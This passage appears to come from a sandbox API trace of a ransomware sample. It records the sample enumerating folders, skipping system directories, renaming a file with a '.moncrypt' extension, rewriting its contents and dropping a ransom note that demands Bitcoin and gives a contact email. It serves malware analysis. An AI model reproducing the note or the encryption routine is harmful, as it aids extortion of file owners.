files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.909] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.909] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.909] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0054.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a758, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.909] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.909] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.909] GlobalUnlock (hMem=0x44000c) returned 0 [0054.909] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.909] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.909] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.909] GlobalUnlock (hMem=0x44000c) returned 0 [0054.909] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.909] GlobalUnlock (hMem=0x440004) returned 0 [0054.909] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.909] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.909] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.909] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0054.909] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0054.910] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0054.910] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.910] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.910] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\enfr\\") returned 0x3d [0054.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0054.910] GlobalLock (hMem=0x440004) returned 0x550170 [0054.910] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.910] GlobalUnlock (hMem=0x440004) returned 0 [0054.910] GlobalLock (hMem=0x440004) returned 0x550170 [0054.910] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.910] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.910] GlobalUnlock (hMem=0x440004) returned 0 [0054.910] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.910] GlobalUnlock (hMem=0x44000c) returned 0 [0054.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.910] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.910] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0054.910] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.910] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.910] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.910] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.910] GlobalUnlock (hMem=0x44000c) returned 0 [0054.911] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.911] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.911] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.911] GlobalUnlock (hMem=0x44000c) returned 0 [0054.911] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.911] GlobalUnlock (hMem=0x440004) returned 0 [0054.911] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.911] CharLowerBuffW (in: lpsz="MSB1ENFR.ITS", cchLength=0xc | out: lpsz="msb1enfr.its") returned 0xc [0054.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.911] CharLowerBuffW (in: lpsz=".ITS", cchLength=0x4 | out: lpsz=".its") returned 0x4 [0054.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".its", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".itsShared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpUsedDefaultChar=0x0) returned 4 [0054.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.912] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0054.913] CloseHandle (hObject=0x18c) returned 1 [0054.913] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\я")) returned 1 [0054.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0x54e240 [0054.914] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.914] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.914] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", dwFileAttributes=0x20) returned 1 [0054.915] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.moncrypt")) returned 1 [0054.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.916] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.916] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xe64da [0054.916] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.916] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.925] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.925] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.925] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.925] GlobalUnlock (hMem=0x44000c) returned 0 [0054.925] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0054.925] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.925] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.925] GlobalUnlock (hMem=0x44000c) returned 0 [0054.925] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0054.925] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.925] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.925] GlobalUnlock (hMem=0x440004) returned 0 [0054.926] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.926] GlobalUnlock (hMem=0x44000c) returned 0 [0054.926] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.926] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.926] GlobalUnlock (hMem=0x44000c) returned 0 [0054.926] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0054.926] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.926] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.926] GlobalUnlock (hMem=0x44000c) returned 0 [0054.926] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.926] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.927] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.927] SetFilePointer (in: hFile=0x18c, lDistanceToMove=943322, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xe64da [0054.928] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.929] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.929] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.941] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.941] CloseHandle (hObject=0x18c) returned 1 [0054.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.957] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.957] CloseHandle (hObject=0x18c) returned 1 [0054.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.moncrypt", dwFileAttributes=0x20) returned 1 [0054.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.958] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.958] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.958] GlobalUnlock (hMem=0x44000c) returned 0 [0054.958] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.958] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.958] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.958] GlobalUnlock (hMem=0x44000c) returned 0 [0054.958] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.958] GlobalUnlock (hMem=0x440004) returned 0 [0054.958] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a6d8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0054.959] GetLastError () returned 0x2 [0054.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.959] WriteFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0054.961] CloseHandle (hObject=0x18c) returned 1 [0054.962] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0054.962] GetLastError () returned 0x12 [0054.962] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.962] GlobalLock (hMem=0x440004) returned 0x550170 [0054.962] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.962] GlobalUnlock (hMem=0x440004) returned 0 [0054.962] GlobalLock (hMem=0x440004) returned 0x550170 [0054.962] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.962] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.962] GlobalUnlock (hMem=0x440004) returned 0 [0054.962] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.962] GlobalUnlock (hMem=0x44000c) returned 0 [0054.962] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d78, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0054.962] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41f1a340, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, 